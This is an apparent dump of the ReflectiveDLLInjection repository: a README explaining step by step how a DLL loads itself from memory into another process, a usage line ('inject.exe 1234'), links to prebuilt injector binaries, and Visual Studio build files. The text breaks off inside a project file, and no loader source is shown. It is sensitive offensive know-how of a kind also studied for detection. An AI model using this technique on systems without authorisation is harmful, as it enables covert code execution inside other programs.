├── .gitignore ├── LICENSE.txt ├── Readme.md ├── bin ├── inject.arm.exe ├── inject.exe ├── inject.x64.exe ├── reflective_dll.arm.dll ├── reflective_dll.dll └── reflective_dll.x64.dll ├── dll ├── reflective_dll.sln ├── reflective_dll.vcproj ├── reflective_dll.vcxproj ├── reflective_dll.vcxproj.filters └── src │ ├── ReflectiveDLLInjection.h │ ├── ReflectiveDll.c │ ├── ReflectiveLoader.c │ └── ReflectiveLoader.h ├── inject ├── inject.sln ├── inject.vcproj ├── inject.vcxproj ├── inject.vcxproj.filters └── src │ ├── GetProcAddressR.c │ ├── GetProcAddressR.h │ ├── Inject.c │ ├── LoadLibraryR.c │ ├── LoadLibraryR.h │ └── ReflectiveDLLInjection.h └── rdi.sln /.gitignore: -------------------------------------------------------------------------------- 1 | Release/ 2 | Debug/ 3 | x64/ 4 | dll/Release/ 5 | dll/Debug/ 6 | dll/reflective_dll.vcproj.*.user 7 | dll/reflective_dll.vcxproj.user 8 | inject/Release/ 9 | inject/Debug/ 10 | inject/inject.vcproj.*.user 11 | inject/inject.vcxproj.user 12 | rdi.ncb 13 | rdi.suo 14 | rdi.sdf 15 | rdi.opensdf 16 | rdi.v11.suo -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted 5 | provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this list of 8 | conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, this list of 11 | conditions and the following disclaimer in the documentation and/or other materials provided 12 | with the distribution. 13 | 14 | * Neither the name of Harmony Security nor the names of its contributors may be used to 15 | endorse or promote products derived from this software without specific prior written permission. 16 | 17 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 18 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 19 | FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 20 | CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 21 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 22 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 23 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 24 | OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 25 | POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | About 2 | ===== 3 | 4 | Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host. 5 | 6 | Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable. 7 | 8 | Overview 9 | ======== 10 | 11 | The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. 12 | 13 | Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows. 14 | 15 | * Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table. 16 | * As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. 17 | * The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc. 18 | * The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. 19 | * The library's headers and sections are loaded into their new locations in memory. 20 | * The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses. 21 | * The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. 22 | * The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory. 23 | * Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate. 24 | 25 | Build 26 | ===== 27 | 28 | Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll 29 | 30 | Usage 31 | ===== 32 | 33 | To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.: 34 | 35 | > inject.exe 1234 36 | 37 | License 38 | ======= 39 | 40 | Licensed under a 3 clause BSD license, please see LICENSE.txt for details. 41 | -------------------------------------------------------------------------------- /bin/inject.arm.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stephenfewer/ReflectiveDLLInjection/178ba2a6a9feee0a9d9757dcaa65168ced588c12/bin/inject.arm.exe -------------------------------------------------------------------------------- /bin/inject.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stephenfewer/ReflectiveDLLInjection/178ba2a6a9feee0a9d9757dcaa65168ced588c12/bin/inject.exe -------------------------------------------------------------------------------- /bin/inject.x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stephenfewer/ReflectiveDLLInjection/178ba2a6a9feee0a9d9757dcaa65168ced588c12/bin/inject.x64.exe -------------------------------------------------------------------------------- /bin/reflective_dll.arm.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stephenfewer/ReflectiveDLLInjection/178ba2a6a9feee0a9d9757dcaa65168ced588c12/bin/reflective_dll.arm.dll -------------------------------------------------------------------------------- /bin/reflective_dll.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stephenfewer/ReflectiveDLLInjection/178ba2a6a9feee0a9d9757dcaa65168ced588c12/bin/reflective_dll.dll -------------------------------------------------------------------------------- /bin/reflective_dll.x64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stephenfewer/ReflectiveDLLInjection/178ba2a6a9feee0a9d9757dcaa65168ced588c12/bin/reflective_dll.x64.dll -------------------------------------------------------------------------------- /dll/reflective_dll.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 10.00 3 | # Visual C++ Express 2008 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 13 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 14 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 15 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /dll/reflective_dll.vcproj: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="Windows-1252"?> 2 | <VisualStudioProject 3 | ProjectType="Visual C++" 4 | Version="9.00" 5 | Name="reflective_dll" 6 | ProjectGUID="{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" 7 | RootNamespace="reflective_dll" 8 | Keyword="Win32Proj" 9 | TargetFrameworkVersion="196613" 10 | > 11 | <Platforms> 12 | <Platform 13 | Name="Win32" 14 | /> 15 | <Platform 16 | Name="x64" 17 | /> 18 | </Platforms> 19 | <ToolFiles> 20 | </ToolFiles> 21 | <Configurations> 22 | <Configuration 23 | Name="Debug|Win32" 24 | OutputDirectory="$(SolutionDir)$(ConfigurationName)" 25 | IntermediateDirectory="$(ConfigurationName)" 26 | ConfigurationType="2" 27 | CharacterSet="1" 28 | > 29 | <Tool 30 | Name="VCPreBuildEventTool" 31 | /> 32 | <Tool 33 | Name="VCCustomBuildTool" 34 | /> 35 | <Tool 36 | Name="VCXMLDataGeneratorTool" 37 | /> 38 | <Tool 39 | Name="VCWebServiceProxyGeneratorTool" 40 | /> 41 | <Tool 42 | Name="VCMIDLTool" 43 | /> 44 | <Tool 45 | Name="VCCLCompilerTool" 46 | Optimization="0" 47 | PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS" 48 | MinimalRebuild="true" 49 | BasicRuntimeChecks="3" 50 | RuntimeLibrary="3" 51 | UsePrecompiledHeader="0" 52 | WarningLevel="3" 53 | DebugInformationFormat="4" 54 | /> 55 | <Tool 56 | Name="VCManagedResourceCompilerTool" 57 | /> 58 | <Tool 59 | Name="VCResourceCompilerTool" 60 | /> 61 | <Tool 62 | Name="VCPreLinkEventTool" 63 | /> 64 | <Tool 65 | Name="VCLinkerTool" 66 | LinkIncremental="2" 67 | GenerateDebugInformation="true" 68 | SubSystem="2" 69 | TargetMachine="1" 70 | /> 71 | <Tool 72 | Name="VCALinkTool" 73 | /> 74 | <Tool 75 | Name="VCManifestTool" 76 | /> 77 | <Tool 78 | Name="VCXDCMakeTool" 79 | /> 80 | <Tool 81 | Name="VCBscMakeTool" 82 | /> 83 | <Tool 84 | Name="VCFxCopTool" 85 | /> 86 | <Tool 87 | Name="VCAppVerifierTool" 88 | /> 89 | <Tool 90 | Name="VCPostBuildEventTool" 91 | /> 92 | </Configuration> 93 | <Configuration 94 | Name="Debug|x64" 95 | OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)" 96 | IntermediateDirectory="$(PlatformName)\$(ConfigurationName)" 97 | ConfigurationType="2" 98 | CharacterSet="1" 99 | > 100 | <Tool 101 | Name="VCPreBuildEventTool" 102 | /> 103 | <Tool 104 | Name="VCCustomBuildTool" 105 | /> 106 | <Tool 107 | Name="VCXMLDataGeneratorTool" 108 | /> 109 | <Tool 110 | Name="VCWebServiceProxyGeneratorTool" 111 | /> 112 | <Tool 113 | Name="VCMIDLTool" 114 | TargetEnvironment="3" 115 | /> 116 | <Tool 117 | Name="VCCLCompilerTool" 118 | Optimization="0" 119 | PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS" 120 | MinimalRebuild="true" 121 | BasicRuntimeChecks="3" 122 | RuntimeLibrary="3" 123 | UsePrecompiledHeader="0" 124 | WarningLevel="3" 125 | DebugInformationFormat="3" 126 | /> 127 | <Tool 128 | Name="VCManagedResourceCompilerTool" 129 | /> 130 | <Tool 131 | Name="VCResourceCompilerTool" 132 | /> 133 | <Tool 134 | Name="VCPreLinkEventTool" 135 | /> 136 | <Tool 137 | Name="VCLinkerTool" 138 | LinkIncremental="2" 139 | GenerateDebugInformation="true" 140 | SubSystem="2" 141 | TargetMachine="17" 142 | /> 143 | <Tool 144 | Name="VCALinkTool" 145 | /> 146 | <Tool 147 | Name="VCManifestTool" 148 | /> 149 | <Tool 150 | Name="VCXDCMakeTool" 151 | /> 152 | <Tool 153 | Name="VCBscMakeTool" 154 | /> 155 | <Tool 156 | Name="VCFxCopTool" 157 | /> 158 | <Tool 159 | Name="VCAppVerifierTool" 160 | /> 161 | <Tool 162 | Name="VCPostBuildEventTool" 163 | /> 164 | </Configuration> 165 | <Configuration 166 | Name="Release|Win32" 167 | OutputDirectory="$(SolutionDir)$(ConfigurationName)" 168 | IntermediateDirectory="$(ConfigurationName)" 169 | ConfigurationType="2" 170 | CharacterSet="2" 171 | WholeProgramOptimization="1" 172 | > 173 | <Tool 174 | Name="VCPreBuildEventTool" 175 | /> 176 | <Tool 177 | Name="VCCustomBuildTool" 178 | /> 179 | <Tool 180 | Name="VCXMLDataGeneratorTool" 181 | /> 182 | <Tool 183 | Name="VCWebServiceProxyGeneratorTool" 184 | /> 185 | <Tool 186 | Name="VCMIDLTool" 187 | /> 188 | <Tool 189 | Name="VCCLCompilerTool" 190 | Optimization="2" 191 | InlineFunctionExpansion="1" 192 | EnableIntrinsicFunctions="true" 193 | PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" 194 | RuntimeLibrary="0" 195 | EnableFunctionLevelLinking="true" 196 | UsePrecompiledHeader="0" 197 | WarningLevel="3" 198 | DebugInformationFormat="3" 199 | /> 200 | <Tool 201 | Name="VCManagedResourceCompilerTool" 202 | /> 203 | <Tool 204 | Name="VCResourceCompilerTool" 205 | /> 206 | <Tool 207 | Name="VCPreLinkEventTool" 208 | /> 209 | <Tool 210 | Name="VCLinkerTool" 211 | LinkIncremental="1" 212 | GenerateDebugInformation="true" 213 | SubSystem="2" 214 | OptimizeReferences="2" 215 | EnableCOMDATFolding="2" 216 | TargetMachine="1" 217 | /> 218 | <Tool 219 | Name="VCALinkTool" 220 | /> 221 | <Tool 222 | Name="VCManifestTool" 223 | /> 224 | <Tool 225 | Name="VCXDCMakeTool" 226 | /> 227 | <Tool 228 | Name="VCBscMakeTool" 229 | /> 230 | <Tool 231 | Name="VCFxCopTool" 232 | /> 233 | <Tool 234 | Name="VCAppVerifierTool" 235 | /> 236 | <Tool 237 | Name="VCPostBuildEventTool" 238 | CommandLine="copy ..\Release\reflective_dll.dll ..\bin\" 239 | /> 240 | </Configuration> 241 | <Configuration 242 | Name="Release|x64" 243 | OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)" 244 | IntermediateDirectory="$(PlatformName)\$(ConfigurationName)" 245 | ConfigurationType="2" 246 | CharacterSet="2" 247 | WholeProgramOptimization="0" 248 | > 249 | <Tool 250 | Name="VCPreBuildEventTool" 251 | /> 252 | <Tool 253 | Name="VCCustomBuildTool" 254 | /> 255 | <Tool 256 | Name="VCXMLDataGeneratorTool" 257 | /> 258 | <Tool 259 | Name="VCWebServiceProxyGeneratorTool" 260 | /> 261 | <Tool 262 | Name="VCMIDLTool" 263 | TargetEnvironment="3" 264 | /> 265 | <Tool 266 | Name="VCCLCompilerTool" 267 | Optimization="2" 268 | InlineFunctionExpansion="1" 269 | EnableIntrinsicFunctions="true" 270 | FavorSizeOrSpeed="2" 271 | WholeProgramOptimization="false" 272 | PreprocessorDefinitions="WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" 273 | RuntimeLibrary="0" 274 | EnableFunctionLevelLinking="true" 275 | UsePrecompiledHeader="0" 276 | WarningLevel="3" 277 | DebugInformationFormat="3" 278 | CompileAs="2" 279 | /> 280 | <Tool 281 | Name="VCManagedResourceCompilerTool" 282 | /> 283 | <Tool 284 | Name="VCResourceCompilerTool" 285 | /> 286 | <Tool 287 | Name="VCPreLinkEventTool" 288 | /> 289 | <Tool 290 | Name="VCLinkerTool" 291 | OutputFile="$(OutDir)\$(ProjectName).x64.dll" 292 | LinkIncremental="1" 293 | GenerateDebugInformation="true" 294 | SubSystem="2" 295 | OptimizeReferences="2" 296 | EnableCOMDATFolding="2" 297 | TargetMachine="17" 298 | /> 299 | <Tool 300 | Name="VCALinkTool" 301 | /> 302 | <Tool 303 | Name="VCManifestTool" 304 | /> 305 | <Tool 306 | Name="VCXDCMakeTool" 307 | /> 308 | <Tool 309 | Name="VCBscMakeTool" 310 | /> 311 | <Tool 312 | Name="VCFxCopTool" 313 | /> 314 | <Tool 315 | Name="VCAppVerifierTool" 316 | /> 317 | <Tool 318 | Name="VCPostBuildEventTool" 319 | CommandLine="copy $(OutDir)\$(ProjectName).x64.dll ..\bin\" 320 | /> 321 | </Configuration> 322 | </Configurations> 323 | <References> 324 | </References> 325 | <Files> 326 | <Filter 327 | Name="Source Files" 328 | Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx" 329 | UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}" 330 | > 331 | <File 332 | RelativePath=".\src\ReflectiveDll.c" 333 | > 334 | </File> 335 | <File 336 | RelativePath=".\src\ReflectiveLoader.c" 337 | > 338 | </File> 339 | </Filter> 340 | <Filter 341 | Name="Header Files" 342 | Filter="h;hpp;hxx;hm;inl;inc;xsd" 343 | UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}" 344 | > 345 | <File 346 | RelativePath=".\src\ReflectiveDLLInjection.h" 347 | > 348 | </File> 349 | <File 350 | RelativePath=".\src\ReflectiveLoader.h" 351 | > 352 | </File> 353 | </Filter> 354 | </Files> 355 | <Globals> 356 | </Globals> 357 | </VisualStudioProject> 358 | -------------------------------------------------------------------------------- /dll/reflective_dll.vcxproj: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="utf-8"?> 2 | <Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> 3 | <ItemGroup Label="ProjectConfigurations"> 4 | <ProjectConfiguration Include="Debug|ARM"> 5 | <Configuration>Debug</Configuration> 6 | <Platform>ARM</Platform> 7 | </ProjectConfiguration> 8 | <ProjectConfiguration Include="Debug|Win32"> 9 | <Configuration>Debug</Configuration> 10 | <Platform>Win32</Platform> 11 | </ProjectConfiguration> 12 | <ProjectConfiguration Include="Debug|x64"> 13 | <Configuration>Debug</Configuration> 14 | <Platform>x64</Platform> 15 | </ProjectConfiguration> 16 | <ProjectConfiguration Include="Release|ARM"> 17 | <Configuration>Release</Configuration> 18 | <Platform>ARM</Platform> 19 | </ProjectConfiguration> 20 | <ProjectConfiguration Include="Release|Win32"> 21 | <Configuration>Release</Configuration> 22 | <Platform>Win32</Platform> 23 | </ProjectConfiguration> 24 | <ProjectConfiguration Include="Release|x64"> 25 | <Configuration>Release</Configuration> 26 | <Platform>x64</Platform> 27 | </ProjectConfiguration> 28 | </ItemGroup> 29 | <PropertyGroup Label="Globals"> 30 | <ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid> 31 | <RootNamespace>reflective_dll</RootNamespace> 32 | <Keyword>Win32Proj</Keyword> 33 | </PropertyGroup> 34 | <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> 35 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> 36 | <ConfigurationType>DynamicLibrary</ConfigurationType> 37 | <PlatformToolset>v110</PlatformToolset> 38 | <CharacterSet>MultiByte</CharacterSet> 39 | <WholeProgramOptimization>true</WholeProgramOptimization> 40 | </PropertyGroup> 41 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration"> 42 | <ConfigurationType>DynamicLibrary</ConfigurationType> 43 | <PlatformToolset>v110</PlatformToolset> 44 | <CharacterSet>MultiByte</CharacterSet> 45 | <WholeProgramOptimization>true</WholeProgramOptimization> 46 | </PropertyGroup> 47 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> 48 | <ConfigurationType>DynamicLibrary</ConfigurationType> 49 | <PlatformToolset>v110</PlatformToolset> 50 | <CharacterSet>Unicode</CharacterSet> 51 | </PropertyGroup> 52 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration"> 53 | <ConfigurationType>DynamicLibrary</ConfigurationType> 54 | <PlatformToolset>v110</PlatformToolset> 55 | <CharacterSet>Unicode</CharacterSet> 56 | </PropertyGroup> 57 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> 58 | <ConfigurationType>DynamicLibrary</ConfigurationType> 59 | <PlatformToolset>v110</PlatformToolset> 60 | <CharacterSet>MultiByte</CharacterSet> 61 | <WholeProgramOptimization>false</WholeProgramOptimization> 62 | </PropertyGroup> 63 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> 64 | <ConfigurationType>DynamicLibrary</ConfigurationType> 65 | <PlatformToolset>v110</PlatformToolset> 66 | <CharacterSet>Unicode</CharacterSet> 67 | </PropertyGroup> 68 | <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> 69 | <ImportGroup Label="ExtensionSettings"> 70 | </ImportGroup> 71 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets"> 72 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 73 | </ImportGroup> 74 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets"> 75 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 76 | </ImportGroup> 77 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets"> 78 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 79 | </ImportGroup> 80 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets"> 81 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 82 | </ImportGroup> 83 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> 84 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 85 | </ImportGroup> 86 | <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> 87 | <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> 88 | </ImportGroup> 89 | <PropertyGroup Label="UserMacros" /> 90 | <PropertyGroup> 91 | <_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion> 92 | </PropertyGroup> 93 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> 94 | <OutDir>$(SolutionDir)$(Configuration)\</OutDir> 95 | <IntDir>$(Configuration)\</IntDir> 96 | <LinkIncremental>true</LinkIncremental> 97 | </PropertyGroup> 98 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> 99 | <LinkIncremental>true</LinkIncremental> 100 | </PropertyGroup> 101 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> 102 | <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> 103 | <IntDir>$(Platform)\$(Configuration)\</IntDir> 104 | <LinkIncremental>true</LinkIncremental> 105 | </PropertyGroup> 106 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> 107 | <OutDir>$(SolutionDir)$(Configuration)\</OutDir> 108 | <IntDir>$(Configuration)\</IntDir> 109 | <LinkIncremental>false</LinkIncremental> 110 | </PropertyGroup> 111 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> 112 | <LinkIncremental>false</LinkIncremental> 113 | </PropertyGroup> 114 | <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> 115 | <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> 116 | <IntDir>$(Platform)\$(Configuration)\</IntDir> 117 | <LinkIncremental>false</LinkIncremental> 118 | </PropertyGroup> 119 | <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> 120 | <ClCompile> 121 | <Optimization>Disabled</Optimization> 122 | <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> 123 | <MinimalRebuild>true</MinimalRebuild> 124 | <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> 125 | <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> 126 | <PrecompiledHeader /> 127 | <WarningLevel>Level3</WarningLevel> 128 | <DebugInformationFormat>EditAndContinue</DebugInformationFormat> 129 | </ClCompile> 130 | <Link> 131 | <GenerateDebugInformation>true</GenerateDebugInformation> 132 | <SubSystem>Windows</SubSystem> 133 | <TargetMachine>MachineX86</TargetMachine> 134 | </Link> 135 | </ItemDefinitionGroup> 136 | <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> 137 | <ClCompile> 138 | <Optimization>Disabled</Optimization> 139 | <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> 140 | <MinimalRebuild>true</MinimalRebuild> 141 | <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> 142 | <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> 143 | <PrecompiledHeader> 144 | </PrecompiledHeader> 145 | <WarningLevel>Level3</WarningLevel> 146 | <DebugInformationFormat>EditAndContinue</DebugInformationFormat> 147 | </ClCompile> 148 | <Link> 149 | <GenerateDebugInformation>true</GenerateDebugInformation> 150 | <SubSystem>Windows</SubSystem> 151 | </Link> 152 | </ItemDefinitionGroup> 153 | <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> 154 | <Midl> 155 | <TargetEnvironment>X64</TargetEnvironment> 156 | </Midl> 157 | <ClCompile> 158 | <Optimization>Disabled</Optimization> 159 | <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> 160 | <MinimalRebuild>true</MinimalRebuild> 161 | <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> 162 | <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> 163 | <PrecompiledHeader /> 164 | <WarningLevel>Level3</WarningLevel> 165 | <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> 166 | </ClCompile> 167 | <Link> 168 | <GenerateDebugInformation>true</GenerateDebugInformation> 169 | <SubSystem>Windows</SubSystem> 170 | <TargetMachine>MachineX64</TargetMachine> 171 | </Link> 172 | </ItemDefinitionGroup> 173 | <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> 174 | <ClCompile> 175 | <Optimization>MaxSpeed</Optimization> 176 | <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> 177 | <IntrinsicFunctions>true</IntrinsicFunctions> 178 | <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> 179 | <RuntimeLibrary>MultiThreaded</RuntimeLibrary> 180 | <FunctionLevelLinking>true</FunctionLevelLinking> 181 | <PrecompiledHeader /> 182 | <WarningLevel>Level3</WarningLevel> 183 | <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> 184 | </ClCompile> 185 | <Link> 186 | <GenerateDebugInformation>true</GenerateDebugInformation> 187 | <SubSystem>Windows</SubSystem> 188 | <OptimizeReferences>true</OptimizeReferences> 189 | <EnableCOMDATFolding>true</EnableCOMDATFolding> 190 | <TargetMachine>MachineX86</TargetMachine> 191 | </Link> 192 | <PostBuildEvent> 193 | <Command>copy ..\Release\reflective_dll.dll ..\bin\</Command> 194 | </PostBuildEvent> 195 | </ItemDefinitionGroup> 196 | <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> 197 | <ClCompile> 198 | <Optimization>MinSpace</Optimization> 199 | <InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion> 200 | <IntrinsicFunctions>true</IntrinsicFunctions> 201 | <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions> 202 | <RuntimeLibrary>MultiThreaded</RuntimeLibrary> 203 | <FunctionLevelLinking>true</FunctionLevelLinking> 204 | <PrecompiledHeader> 205 | </PrecompiledHeader> 206 